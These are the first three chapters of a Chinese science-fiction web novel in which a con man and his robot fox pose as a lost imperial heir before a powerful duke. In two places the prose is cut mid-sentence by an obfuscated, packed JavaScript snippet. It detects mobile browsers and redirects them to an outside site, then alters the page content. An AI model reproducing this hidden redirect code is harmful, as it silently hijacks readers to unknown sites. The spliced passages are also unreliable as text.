《陛下竟是星际头号通缉犯?!》 1. 偷渡客 “我、我叫白启,25岁,GR9329星人……” 第四星区首府,阿尔法星,塞勒斯公爵官邸,一名青年有些拘谨地站着,他穿着与周遭环境格格不入的廉价衬衫,鞋裤洗到发白,他这通身的行头加起来大约不会超过一百星币,是最普通、也是底层平民最常见的穿搭。 他的长相倒是不太普通,即便是在基因修改技术发达,人均美人的贵族之中,他的五官也算是出众的,只是他此刻低头瑟缩的动作破坏了整体的美感,显出几分上不了台面的怯懦和底层人独有的对上位者的逢迎。 白启说着像是突然意识到了自己的疏漏,下意识抬头,又在扫到主座之人尊贵的衣摆时赶紧低下,畏畏缩缩地补充道:“就是铁穹星域东部的一颗行星,因为太偏僻了,人口也少,所以没有正式的名字,只有编号。” 他如此谨小慎微暗含讨好的举动,主座之人未有任何表示,甚至在他来到府邸至今,主座之上的男人似乎都未曾正眼看过他。 对方像是刚刚忙完军务,一身黑色的军制礼服,军靴修长笔挺,紧系的腰带和纽扣勾勒出挺拔的身形,金色的绶带垂于身前,流苏肩章上镶嵌着低调的暗色宝石,一如这官邸整体的布置,透着股奢华内敛常人模仿不来的贵气。 他此刻眉眼低垂,双腿上下交叠,覆着黑色皮质手套的双手交握于身前,右手搭在左手之上,拇指漫不经心地摩挲着食指上那枚权戒。 漆黑的戒身上,金色的闪电纹铭刻于正中,一如撕裂黑暗的煌煌雷霆,未闻其声,却已经从这枚古朴尊贵的权戒上感受到其无上的威严气势。 不会有人不认识这枚权戒,即便是出身偏远星系的底层,也不会不知道帝国七大家族的名号,而白启作为一名擅闯其领土的偷渡客,自然也不会不知道眼前之人的身份。 兰德尔·塞勒斯。 第八代塞勒斯公爵,雷霆大公,阿尔法星,以及整个第四星区的实权统治者,最年轻的七大家族家主,罕见、甚至可以说是帝国现在唯一的S级精神力者。 太多荣誉的头衔了,每一个都是让白启这种底层出身的人望尘莫及的,他在此人面前再谨慎讨好都不为过。 毕竟,帝国律法虽然规定了平民与贵族享有一样的权利,贵族不得随意侮辱滥杀平民,但在七大家族中除皇室泽维尔家族以外的六大家族,尤其是塞勒斯这种军事强权领主前,所谓律法,也不过是一叠无用的废纸。 大致说完自己的生平,以及偷渡来阿尔法星的经过后,白启安静下来,手指不安地绞紧,忐忑地等候对方的发落。 偷渡不是重罪,只要没有携带违禁品,或是被查出暗含什么特殊目的,一般在核查完偷渡客的身份后,会由海关做罚金及遣回处理,整个处理流程基层的海关与公安就可以解决,完全用不着惊动上层的大人物,更遑论是第四星区领主塞勒斯公爵这样的大人物。 太奇怪了,白启被海关发现后,本来跟同舰的其他偷渡客一起接受身份核查,但在做完例行的血检后没多久,他突然被单独叫了出来,随后由不同层级的官员反复盘问过几轮,一路被送到这里。 他这样一个小人物,到底惹上了什么事,值得这位塞勒斯公爵亲自出面呢?惶恐之余,白启也有许多的茫然,他瑟缩不安的神情诚实地体现着这点。 只是他的疑问,塞勒斯公爵自然不会纡尊降贵地为他解答,对方甚至似乎没有与他直接对话的打算,一开始示意他自述的是塞勒斯公爵身旁的那名副官样的男人,此刻也依然是这位副官代为问询。 “你自述是孤儿,由GR9329星本地的一家救济院收养,十五岁后便从救济院离开,前往铁穹星打工,对吗?” 白启点点头,十五岁尚属未成年,在阿尔法星这种地方自然是还在上学的年纪,但在那种偏僻贫穷连正式名字都没有的编号星球上,白启的经历才是正常的。 “救济院在此之后,应该没有再为你提供经济援助了吧?据运送你们的蛇头交代,单人的船票是三十万星币,GR9329星的平均工资是三千星币每年,而即便是那片星域最为繁华的铁穹星,普通人能拿到的年薪也不会超过八千星币,你是如何在短短十年间攒够三十万星币的?”副官又道。 “我……”白启眼神闪烁了一下,磕磕绊绊地答道,“我、我运气好,在赌场赢了一大笔钱……” “为什么选择阿尔法星?明明有更便宜的航线,白茉星,海湾星,这些星球的生活条件并不逊于阿尔法星许多,船票却便宜了一多半,不是吗?” “因、因为我觉得阿尔法星的发展前景更好,这里有许多大人物,像公爵阁下,也像您。”白启努力地讨好道。 副官的语气依然冷硬板直,一如其冷肃不苟言笑的面孔:“你的个人账户只余二百零七星币,你说你赢了一大笔钱,你的意思是你将这笔钱,乃至于你的一部分积蓄全部换成了通往阿尔法星的偷渡船票,以博取一个发展的机会,是吗?” 正常人自然不会做这样的选择,即便有再多的大人物,对白启这样的底层来说,发展的机会也是虚无缥缈的,更遑论作为第四星区行政中心的阿法尔星必然有着比普通星球更严密的安保,被发现遣返的几率远远高于后者。 为这样渺茫的机会,倾己所有,不留任何退路,白启的行为实在是非常怪异。 白启眼神闪烁得更加厉害,像是想不到合理的借口,他低着头,终于遮遮掩掩地道出部分实情:“因为这是离开铁穹星最近的一班船次,我、我有点急事……” “什么急事?”副官一刻不停地追问,不给他任何遮掩隐瞒的余地。 “我、我……”白启吞吞吐吐,半晌,像是被问得实在没办法,他心一横,正准备和盘托出时。 “你右边口袋里的是什么?” 一道清冷的男声突兀的响起,原本要催促逼问的副官霎时安静下来,白启也是一怔。 他下意识抬头,正撞上那双不知何时抬起,正向他望来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423050|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灰蓝色眸子。 他同时第一次看清了这位塞勒斯公爵的样貌,养尊处优的贵族向来没有丑人,但又不同于那种精雕细琢后近乎有点千篇一律的精致,男人的下颚线过于硬挺,平直的唇线透着股不苟言笑的冷肃,略低的眉骨也不是时尚界推崇的比例,但一切组合到一起,却呈现出一种锋锐冷厉的美感。 这不是人工能设计出的脸孔,唯有蕴藏无尽奥妙的基因本身,亦或者传说中的造物主,才能创造出这样美到彷佛带着攻击性,近乎惊心夺魄的颜容。 白启与对方怔然对望数息,才终于想起此时的处境,赶紧低下头,回答男人之前的问题。 “这是我的宠物机器人,是以前在救济院时院长送我的。”他同时从口袋里将东西拿出,是一只比手掌大了一圈的机械狐狸。 相较于活体宠物,宠物机器人不需要打理照顾,反过来还可以照顾陪伴主人,兼或还可以充当玩具,很多有条件的家庭都会买类似的机器人给家中幼童。 只是以宠物机器人现今愈发仿真的发展技术来看,白启的这只实在是很老很旧的型号,虽然做成了狐狸造型,但通体就是冷硬的金属外壳,涂了一层多处掉色的红漆,脖子上系了一条褪色的黄色装饰围巾,四肢关节处也是多有锈迹。 白启将其放到地面上,介绍道:“我叫它王尔德,王尔德,来表演个后空翻。” “是的,主人。”机械狐狸似乎是被他的声音唤醒,机械眸中亮起白光,它撑起有些滞涩卡顿的四肢,微微蹲下,然后跃起。 “啪叽”一下,狐狸在落地时老旧的处理器没有计算好平衡,一头栽倒在地上。 白启尴尬地摸摸后脑勺。 “阁下?”副官微微躬身,恭敬请示。 白启在被带到这里前,自然是做过多次检查的,他能带着这只机械狐狸进来,就说明其没有问题,但一直未曾参与问话的兰德尔一开口就指向这只机械狐狸,甚至此刻,他也仍凝望着对方。 正在副官想问要不要将其拿走做进一步检查时,兰德尔突然又移开视线,他望向白启。 似乎对白启先前差点就要交代的实情毫无兴趣,他动动手指,召来附近的卫兵后,淡淡吩咐:“带他去西区的客房。” “是。”卫兵听令上前,神态仍是军人惯常的冷硬,但在示意白启跟自己走时,却是做了一个请的手势。 白启一脸莫名,像是完全想不明白自己一个偷渡客,今夜的住所不是什么森冷的监牢,而是这尊贵官邸奢华舒适的客房。 但他还是很有眼色地什么都没问,只跟着卫兵离开,不过在即将离开前,他像是突然又想起了什么,回过头,微微俯身,单手扶胸,补了一个一直没行的见面礼。 “向您致意,尊贵的塞勒斯公爵阁下。” 他的语气仍然是谦卑谄媚的,只是此刻在众人视线的死角,他的唇角却是微微弯起,眉眼间一扫先前的怯懦畏缩,显出勃发的英气,以及些许狐狸似的狡黠。 2. 赌徒or骗子 前往西区客房的路上。 白启跟在卫兵后边,看似乖顺,实则却忍不住似的偷偷往四周张望,完美表现了一个底层贫民第一次到贵族府邸后的没见识神态。 他那只老旧的狐狸机器人也老实地趴在他的口袋中,发光的机械眼眸暗下,像是在安安静静的待机。 然而,在脑机相连的意识中,它却并不像外在表现的那样安静。 “计划很成功,看起来对方已经相信你了。” 不再是先前僵硬的机械音,王尔德此刻的声音很灵动,带着丝几乎与真人无异的雀跃。 “不。”白启仍在扮演着东张西望的神态,眸色却是不自觉显出几分沉凝,“他根本一个字都没信。” “为什么?”王尔德说,“我们的伪装天衣无缝,GR9329星和铁穹星都是混乱区,他们查不出什么,你的演技也足够以假乱真,即便那位塞勒斯公爵真的有初代那样的洞见能力,想来也难以察觉破绽,而我也有信心能通过阿加雷斯的扫描。” “是啊,为什么呢?”白启自言自语。 同一时刻,先前问询的那间屋中。 “阁下,根据多方核查的结果,此人是个赌徒,在铁穹星赌场出千而被本地帮派追杀,连夜找了最近离港的航次偷渡来阿尔法星,目前没有查出破绽,我已经派人前往GR9329星和铁穹星进一步核查,但那片星域并非我们的领地,本地势力龙蛇混杂,户籍管理混乱,恐怕很难查出什么。” 副官尽职汇报,同时抬起手腕,手腕上的终端在虚空中投射出一份份文件,皆是对白启此人的调查,比白启自己说的更完善。 “他在撒谎。”兰德尔看也不看,只闭着双目,手指轻敲扶手,给了这样一个结论。 像是猜到了副官此刻的疑惑,兰德尔虽仍在闭眼思索,却额外唤了一声:“阿加雷斯。” “是的,阁下。” 兰德尔手腕上像是装饰用的雷电纹手环突然脱落,坠落中飞快地变形重组,落地时已经变成一只黑猫的外形。 不同于白启那只机械狐狸的粗糙烂制,黑猫的毛发栩栩如生,全身上下看不出半点机械的痕迹,唯有那双无机质的绿眸,显出其并非活物的本质。 当前市面上最高端最昂贵的机器宠物大抵能达到这样的精度,但黑猫又绝非这样寻常的陪伴用宠物。 阿加雷斯,任何对机甲有所了解的人都不会不知道这个名号,那是帝国科技的奇迹,七大S级机甲中序列第四,一架即可横扫一个整编机甲军团,辉煌的战绩无数,然而这些过往的数据依然难以描绘他的强大,据说,只有当你真正直面他时,方能体会那种在伟力下的颤栗,便如远古的人类第一次见到劈裂夜空的雷霆。 虽然,这架传说中如此恐怖的战争机器,此刻的形象是一只有着粉色梅花爪垫的猫咪。 不知道是性格素来不苟言笑,还是已经见怪不怪,副官对黑猫保持了应有的尊重,头颅微垂,一副认真倾听状。 “这是他方才的生物电数据。”黑猫的左眼投射出一列数据表格,右眼则投射出之前白启的说话录像。 两者以时间轴对应,生物电的变化直接关系着人的情绪变化,副官可以看到,白启每一次的情绪变化,紧张,不安,茫然,都完美地匹配生物电所表现出的。 一般来说,这代表对方所有的表现都是真实的,副官也没有看出任何问题,当然,这不代表真的没有问题,也不代表他的无知,而是这种以生物电探知他人情绪的能力,唯有司掌雷霆的塞勒斯家族可能做到。 仅仅是可能,因为这种能力除了要求极高的精神力等级,也代表使用者对精神力极致的运用,这古老的家族传承至今,也只有初代那位塞勒斯大公,以及眼前这位年轻的家主可以。 而这种探知能力只有在无人知晓时方能发挥最大的效用,因而外人甚至不知道兰德尔有这种能力,即便是作为其心腹的副官,也仅仅是知晓,对这种能力的效用和限制知之甚少。 他此刻追问道:“有什么异样吗?” “人类情绪变化所带动的生物电变化频段大抵是相似的,但即便是同一个人,表现同一种情绪,他每一次表现出的情绪强烈程度也会有所不同,生物电波动也会有细微的差异,但此人每一次的频段却是几乎一样的,这种情况一般出现在刻意表演的演员身上。” 阿加雷斯的声线毫无起伏,作为帝国科技的结晶,他自然有足够拟人的智慧,此刻的冷淡更多是机甲初始的性格设定。 副官认真地观察,果然看到生物电曲线上的几处重合,唯有一处与其他波段截然不同,那是白启在第一次与兰德尔对视时,他的生物电曲线拔高到一个从未有过的高度。 “所以结论是……”副官沉吟。 “比起一个意外闯入的赌徒,他更像是一个精心包装的骗子。”阿加雷斯陈述。 两人对话刚告一段落,恰好,兰德尔像是有了思考后的决定,在此刻睁开眼,吩咐道:“马修,派人去盯着他,另外向伍德元帅发函,告知对方我们在阿尔法星海关意外发现了泽维尔皇室的血脉。” “是的,阁下,但……”对于兰德尔的前一个命令,马修副官能够充分理解,但是后一个…… 既然已经判定此人更像是一个骗子,为什么不先深入调查此人真实的来历背景,以及所作所为的目的,反倒在一切尚未明了的情况下,先去告知皇室的伍德元帅呢? 兰德尔未再给详细的解答,只在离席前,用冷淡的嗓音留下一句: “不重要。” “算了,不重要。” 奢华的客房中,确认房中没有监控后,白启就四仰八叉地躺到柔软的大床上,枕着胳膊,翘着腿,与王尔德继续先前脑域中的对话。 “为什么不重要?我们不是该做好被拆穿后跑路的准备了吗?”王尔德从白启的口袋中跳出来,关节不见先前的滞涩,机械眼眸中是生动的不解。 “我的身份是真是假,并不重要。”白启竖起一根手指左右晃了晃,又慢悠悠道,“重要的是,此时此刻,双方都需要一位皇嗣。” “你是指伍德元帅?”王尔德努力运算了一阵,终于算出了这个“双方”中的另一方是指谁。 “当然,不然还能是谁?维纶家的那个约瑟夫吗?”白启屈指弹了下狐狸的脑门,弹得狐狸一个倒仰。 作为机械造物,王尔德自然没有痛觉,但他分析出了白启话中的嫌弃和挖苦,于是有理有据地自辩道:“容我提醒,我的核心处理器全部由你组装,也就是说,我的算力水平取决于你对我的投入。” “干什么?嫌弃家贫了?”白启挑眉。 “我并无此意,只是客观上来说,如果你能为我提供阿加雷斯同级的机甲核心组件,我的算力和对你思路的分析速度会得到不下百倍的提升。”王尔德如实陈述,虽然这实话听起来,仍然是嫌弃白启贫穷未能给他提供别人家那种优渥的机甲升级条件的意思。 幸而白启素来脸皮厚,闻言脸不红心不跳,反倒很无赖地一摊手:“没办法,家里就这条件了,也不能全指着我养啊,你不能努力努力去坑蒙拐骗,搞点高级配件来吗?我看那个阿加雷斯就不错,你去钓凯子吧,我不介意的。” “再容我提醒,虽然我和阿加雷斯都具备近人的智慧,但这完全是核心模组运算的结果,本质上我们不具备产生感情的可能,你的提议成功率为零。”王尔德竟还认真分析了一番,在白启翻白眼时,他突然又话锋一转。 “不过,如果是你去钓那位塞勒斯公爵的话,那么成功的概率将会得到0.00001%的提升。” “哈!”白启被他气笑了,一个翻身坐起,但并不是因为王尔德让他去钓凯子的提议,而是王尔德测算出的成功概率。 “才0.00001%?太看不起我了吧!” “事实如此,我用的算法综合了多种加权变量,非常科学,里奥,你要接受现实。”王尔德这样阐述,同时在自己的数据库中记录道:“人类的雄性总是对自己的魅力有过分夸大的认知,看来里奥也不能免于这点……” “接受什么现实?还有你在数据库里乱写什么?你忘了我现在连着你的脑机端口吗?给我删掉!” 白启揪住王尔德的机械狐狸耳朵,一阵拉扯,最终,以王尔德删掉这行数据,白启则要详细为其解释自己的思路,这种双方各退一步的方式,结束了这场短暂的闹剧。 “硬件短时间内无法提升,但你详诉自己的逻辑思路时,我可以从中学习优化自己的思考模型,在软件层面提高我的算力。”王尔德又一次提醒白启这点。 “好吧好吧。”白启重新躺倒,懒洋洋地说,“分析一下现在的帝国局势。” 虽然答应了王尔德要详细解释,但白启实在是懒得掰碎了说,于是选择了这样偷懒的引导式方式。 幸而王尔德并没有人类那样能懒则懒的惰性,认认真真地分析道:“异种肆虐的黑暗时代落幕后,帝国创立至今已有八百三十二年的历史,随着初代的家主陆续故去,外敌不再,情谊在时间长河中消泯,七大家族从曾经共抗异种的血契盟友逐渐走向分裂与内斗,八百多年间,权力争夺引发的大小战争无数,虽然最终都被泽维尔皇室的强力所平息,但裂痕在逐步加大,六大家族明面上仍然宣誓向泽维尔皇室效忠,却早已事实上地脱离掌控。” “而在二十五年前那场震惊星际的刺杀案后,泽维尔皇室最后一任血脉继承人,被誉为黄金之狮的奥瑞昂·泽维尔身死,皇室血脉就此断绝,七大S级机甲中序列号1的太阳神苏尔失去了驾驭者,泽维尔皇室也就此失去了它镇压群狼的獠牙,伍德元帅虽然及时出来主持大局,但这二十多年中,皇室的声望与控制力一落千丈,以维纶和格拉西斯两大家族为首的贵族集团通过代行议会的形式已经取得了帝国绝大部分地区的控制权,且他们的势力仍在不断扩张。” “领土被蚕食的最为厉害的,除了日落西山的泽维尔皇室,就属塞勒斯家族,因为前代的塞勒斯公爵,詹森·塞勒斯是当年那场刺杀案明面上最大的嫌疑人,虽然未能最终定罪,但在皇帝身死后,塞勒斯家族理所当然地成了所有人攻讦的目标,无论是本就与其不对付的维纶和格拉西斯,还是曾经与其交好的泽维尔和卢纳。” “奥瑞昂·泽维尔,奥蕾莉亚·卢纳,先代的皇帝与皇后,太阳与月辉,以及詹森·塞勒斯所代表的雷霆,在那个时代,以三人为首的三大家族曾经是亲密无间的盟友,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423051|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着太阳与月辉在刺杀案中一同消陨,伍德元帅统领的泽维尔家族,和奥蕾莉亚的妹妹西尔维娅接掌的卢纳家族这些年仍然保持着亲密的友谊,塞勒斯却被双方所厌弃。” “也许是在各方的攻讦打压中心力交瘁,也许有其他更隐秘的原因,詹森·塞勒斯去世时仅有六十四岁,不到平均寿命的四分之一。” “随后继任的小塞勒斯,也就是现在这位兰德尔·塞勒斯,时年只有十七岁,还在上学的年纪,外敌环伺,未经历练的少主又难以服众,塞勒斯家族几乎陷入一种将要解体的混乱,但兰德尔·塞勒斯表现出了其惊人的精神力天赋,以及铁腕般的统治手段,在阿加雷斯的武力加持下,继任十年至今,塞勒斯家族内部的混乱已经被扫空,反对势力被尽数清除,年轻的狼主将目光瞄向被侵占的领土。” “近来数月,塞勒斯家族在政坛上频繁与维纶格拉西斯家族交锋,想要夺回砾石星的控制权,砾石星是周围数座矿星的枢纽星,谁控制了砾石星,谁就掌握了整片磐岩矿区,因而至关重要,维纶和格拉西斯两家在此事上势必寸步不让。” “单论军力,塞勒斯家族近年来发展得日益强盛,又有当今帝国唯一的S级作为统帅,S级精神力者对低阶精神力者的碾压级优势下,维纶和格拉西斯单独任一个,恐怕都已经难以与其抗衡,但塞勒斯孤立无援,世代联姻的维纶和格拉西斯却可以形成合力,若起战事,胜负不光未知,也容易被其他家族趁虚而入。” “双方显然都不想轻易动武,因而双方的交锋目前只局限在政坛上,塞勒斯家族前日又一次递交了申请,将于七日后举行线上听证会议,以会议结果决定砾石星的归属,七大家族皆会出席,除去必投反对票的维纶和格拉西斯,偏安一隅的索恩八成会投一贯的弃权票,见风使舵的佩特拉则大概率跟随维纶和格拉西斯反对,剩下的泽维尔和卢纳要么是弃权要么是反对,年轻的塞勒斯公爵几乎不可能拿到他想要的结果。” “没错。”白启打了个响指,他意味深长地笑道,“但这是原本的结果,眼下好运的塞勒斯阁下可是意外发现了一位泽维尔皇室的血脉,泽维尔因为血脉断绝而衰落,皇嗣的重要性不言而喻,如此重礼,能不能换得伍德元帅冰释前嫌呢?” “但你是个假货。”王尔德诚实地指出,“你可以伪造基因数据,但绝对无法仿冒泽维尔家族特有的太阳精神力,更无法通过太阳神苏尔的验证,无法启动家族的S级机甲,那么按照七大家族的惯例,即便拥有血缘,也是不会被冠姓及承认的,更遑论你的来历还如此可疑。” “那是以前,今时不同往日啊,太阳的辉光日渐黯淡,伍德元帅因为刺杀案而跟塞勒斯产生嫌隙,但此案疑点重重,那样猛烈的攻讦都未能将塞勒斯最终定罪就已经说明了问题,伍德元帅心里怀疑的凶手恐怕也并非是塞勒斯吧?只是迫于领地内的舆论压力不得不如此罢了。” 白启翘着腿,不紧不慢道:“相对的,不断扩张的维纶和格拉西斯可是给伍德元帅造成了切实的威胁,代行议会前阵子不是还提了个什么推选新皇帝的提案?泽维尔血脉早已断绝,这位新皇帝会出自哪个家族呢?皇室已经如此日薄西山,这是要连仅有的正统名头都剥夺啊。两害相权取其轻,即便伍德元帅真的对塞勒斯心有怨怼,但面对如此危局,你说,他会怎么选呢?” “但即便他有心想与塞勒斯联合,扼制维纶和格拉西斯的势力继续扩张,民间的舆论却已经认定了詹森·塞勒斯是刺杀案的幕后主使,沸反的民意下,他很难推行合作。”王尔德渐渐能跟上白启的思路了。 “所以,他需要一个契机,或者说,一个台阶,还有什么比塞勒斯帮其找回了遗落民间多年的皇室遗脉更好的理由呢?”白启侧头看向窗外,高大威严的塞勒斯官邸在夜幕中静静矗立,隐约可见办公区彻夜的灯火和在其中穿梭忙碌的官员。 “若我是那位兰德尔·塞勒斯,我就不会去调查这个假货的来历,或是追究其有什么目的,这些都无关紧要,我只需将对方的所有资料全盘送到伍德元帅手上,由伍德元帅来判定这位皇嗣的真伪,以及,是否进行后续的联合。” 落地窗的倒影上映着白启玩味弯起的眼眸,比王尔德更像只狐狸。 同日夜间,几百光年外的遥远星域,位于第一星区中心的帝国首都日冕星,光辉圣城的达日博格神宫,枢密院办公厅的中央办公室中。 伍德元帅翻阅着那份十分钟前由塞勒斯传来的文件,礼节性的问候以及大段的经过说明数据调查等文件他全都一掠而过,唯有那张随文件附上的照片,他的目光久久地停留。 照片中的人一如调查文件中显示的那样年轻,他大概是在海关的讯问室中,背景隐约可见海关总署的字样,像是大多数被抓的偷渡客一样,他的神态有些瑟缩,只是迫于海关人员的要求在镜头前抬起头,露出他完整的五官。 细碎的黑色短发垂落于额前,金褐色的瞳孔中是不安与局促,但若是忽略掉这些略显软弱的情绪,就会发现他的五官整体是相当英挺的,眉峰的走向,下颌线的弧度,张扬上弯的唇角,每一处,几乎都跟伍德记忆中那个英武的身影重合,唯有那双眼睛,不似那人那般锐利,反倒带着丝另一人常有的柔和,便如那似水的月色。 3. 皇嗣 “请问……”白启坐在房间中,按着手臂上刚被抽过血的针口,像是无比犹豫,吞吞吐吐地半晌没问出口。 “白先生,您请说。”金色短发的男人微微俯身,神态是对客人一贯的尊重与恭敬。 白启却好像很不习惯,连连摆手说:“不要这样叫了,你叫我白启就行,我也叫你伊蒙怎么样?” 从他住进塞勒斯官邸的当夜,这位名义上是守卫但似乎更像看守的少校军官就被派来白启身边,两天的相处中,白启已经知道对方的名字是伊蒙·科林斯,一个隶属于塞勒斯的小贵族姓氏。 当然,小也只是相对于七大家族而言,这样年轻就能晋升少校的军衔,这个科林斯家族想来在塞勒斯的一众臣属中占据着举足轻重的地位。 伊蒙似乎有些犹豫,但片刻后还是点点头应道:“好。” “不要站着了,坐吧。”白启示意自己对面的沙发,在伊蒙依言坐下后,他再度开口道,“我有个问题想问,不知道你方不方便……” 未等伊蒙开口,他就又害怕什么似的紧张补充:“如果是我不能知道的,你不告诉我就行,我没有打探你们机密的意思,我就是……就是……” “想不明白……”他烦闷地抓抓脑袋。 伊蒙想了想,主动说:“是关于你身份的事吗?” 白启倏地抬起头:“这个可以说吗?” 其实没什么不可以的,就算此刻不说,不久后,白启也一定会知道的,因而伊蒙直接答道:“你被检测出有某个尊贵家族的血脉,所以公爵阁下才将你留在这里,并派我来保卫你的安全。” “贵族?我吗?”白启像是十分的不敢置信,但片刻后,他又露出一丝恰到好处的压抑着的狂喜。 “是哪个家族?难道是塞勒斯?”白启忙不迭追问。 “不,当然不是,前任的家主并没有公爵阁下以外的子嗣。”伊蒙道。 “我也说长得不太像……”白启似是有些失落。 “是泽维尔皇室。”伊蒙直接给出了答案。 白启一怔,随即像是坠入了一场难以置信的迷梦中那般喃喃自语:“泽维尔皇室,天呐,皇室……” “等等,皇室血脉不是二十多年前就断绝了吗?” 那场刺杀案震动整个星际,即便是偏远贫穷的编号星球,也多少有所听闻。 “确实如此,不过那位陛下身亡前其实育有一子,只是刺杀案后一直未能找到那位小殿下的踪迹,而且他当时才刚刚满月,非常脆弱,刺杀的炮火轰击却那样猛烈,因而外界一直都认为这位小殿下也不幸遇难了。”伊蒙说。 “刺杀案是二十五年前,我也是二十五岁……所以我真的是泽维尔皇室的一员?甚至很可能就是这位失踪的殿下?”白启激动得手指都在抖,但片刻后,他又失落下来。 “可是我的精神力等级只有D,他们会……接受我吗?” 自千年前人类进化出精神力后,精神力等级就是评判一个人价值的最直接标准,社会上各种高端的工作都会对高阶精神力者大开方便之门,低精神力的普通人基本只能从事低薪的体力劳动或服务工作。 同时,精神力等级和特性表现具有明显的遗传性,高等级的精神力者结合更易诞生天赋优秀的后代,低等级的精神力者生出高阶精神力者的可能性不能说没有,却也渺茫得不到百万分之一,而且这些所谓的高阶精神力者,也仅仅是A级或B级,最高的S级八百多年间却是一个都没有。 这正是七大家族地位如此尊崇的原因,七大家族的初代家主,皆是S级的精神力者,那也是人类世界S级强者最多的时代,也许是因为那时候人类的精神力刚刚萌发,也许是外敌的威胁,那个时代的S级足有七位之多。 虽然在黑暗时代落幕后,S级的数量越来越少,但七大家族的子嗣中,每隔上数十上百年的时间,却也总能诞生一名S级,就像现今的这位兰德尔·塞勒斯,就是塞勒斯家族自两百年前那位第四代塞勒斯公爵之后又一位新生的S级。 优秀的后嗣直接关系到家族日后的发展和地位是否能够延续,因而贵族尤为看中这点,几乎不与平民通婚,只在同阶层的家族中相互联姻,同时,对于家族内出生的子嗣,若是未能继承家族的精神力特性,或是等级太低,就像王尔德之前说的,按照惯例,这些子嗣甚至无法被冠姓。 B级的精神力就可以被称为高阶,C级则是一个人能否被称为精神力者的分水岭,因为自C级开始,精神力开始能够被凝现,能够呈现出特性以及进行一定程度的运用,而C级以下,就像白启的D级,虽然也有精神力,却是散乱不成型,更无法运用的。 这还只是普通人的评判标准,七大家族的要求自然更高,他们选定的继承人一般至少要达到A级,虽然泽维尔现在情况特殊,但起码也要到C级,白启才可能呈现出泽维尔家族特有的太阳特性,才能够通过太阳神苏尔的验证,他也才真正对泽维尔家族有所作用,否则,即便他是先代皇帝的亲子,他也只是历史上无数不被家族承认的弃子中的一员。 这种唯精神力论的观念深入整个社会,不光是白启知道,出身贵族的伊蒙自然更加明白贵族内部对血系判定的残酷,不过,他此刻犹豫一番,出言安慰道:“皇室那边对你还是比较看重的,方才抽取你的血样,就是伍德元帅的要求,他们要做进一步的核验。” “跟你的预想一样,泽维尔开始尝试跟塞勒斯接触了。”王尔德在脑域中说。 “谢谢,你真是个好人。”白启对着伊蒙抹了两滴鳄鱼泪,同时在脑域中颇为不屑地答道,“当然跟我预想的一样,不然我们现在就该身份被拆穿在那位塞勒斯公爵的追捕下满星际逃亡了。” “事实上,这个风险仍未消除。”王尔德说,“里奥,在假冒皇嗣前,你应该先告知先生一声的。” “是我不想说吗?是他在偏远星系暂时联系不上。”白启好像很有理。 “是你知道他根本不会同意,所以趁着他不在直接先将生米煮成熟饭。”王尔德直接戳穿他。 “闭嘴!你的算力就用在这种地方?对得起我省吃俭用把你养那么大吗?” “第一,你没有把我养大,在你八岁时,我作为宠物机器人开始陪伴你,而后在先生的教导下,你逐步学着升级我的智能,并慢慢将我改造成机甲核心,可以说,我们是一起长大的,第二,你也没有省吃俭用,你赚钱的方法包括但不限于偷盗抢骗等非法手段,并且经常在一夜暴富后又在一夜间挥霍一空。” “哈!翻旧账了是不是?对我不满意了是不是?你这个忘恩负义的机器人!” 白启一边在脑域中跟王尔德吵架,一边跟伊蒙问东问西,完美扮演着底层平民刚刚获知自己是皇嗣后的那份雀跃难耐的心情。 “对了。”伊蒙跟白启聊了这一阵,似乎也慢慢放下了一些心防,他这回主动问了白启一个问题,“为什么你叫这个名字?” 这种源自古地球的起名方式,现今已经非常少见。 “因为我小时候所在的救济院院长,非常痴迷古地球文化,他为自己取了个白姓,然后救济院的孩子就也都跟着姓白了。”白启眨眨眼,将两天前在那位塞勒斯公爵面前说过的话又复述了一遍。 这算是他那成片的谎话中少有的一句真话,这确实是白启这个名字的来历,只是那个救济院并不在GR9329星,他也并不是在十五岁才离开救济院。 其实,如果八岁那年没有遇到那个人的话,那白启的人生大抵真的如谎言中的那样,是最普通最平凡的一个底层平民,但在遇到那个人之后,他的人生就有了另一种走向,他同时有了一个新的名字。 不过那个名字不太方便示人,因此只有极亲近的人会那样叫他,在外行走时,他还是更习惯用白启这个旧名。 “古地球文化确实有许多深奥有趣的地方,我家族中的一位长辈也很喜欢研究……”伊蒙正聊着,突然低头看向手腕上的终端,他似乎是接到了什么命令,即便仅仅是线上的对话,但还是下意识地站起。 “是,我马上带他过去。”伊蒙对着另一端的人应道。 “会是什么事?”王尔德问。 “当然是去见那位伍德元帅了,时间也差不多了。”白启迤迤然站起,在伊蒙的带领下,穿越过西区连接主楼的连廊,又在穿过主楼的接待大厅后,从另一侧的连廊来到东翼的办公区。 不是上次那间询问的屋子,这一次他去的地方在办公楼的第五层,最中心也是规模最大的办公室。 在进门前,白启就已经猜到了这里的用途,而在伊蒙带着他通过门前的安检,进入门内,他也果不其然地看到,东侧巨大的落地窗前,那位兰德尔·塞勒斯正站在灰色的窗帘边,一身军装如初见时那样挺拔,纽扣领结俱都一丝不苟地系紧,仪容完美得让人挑不出半点错处。 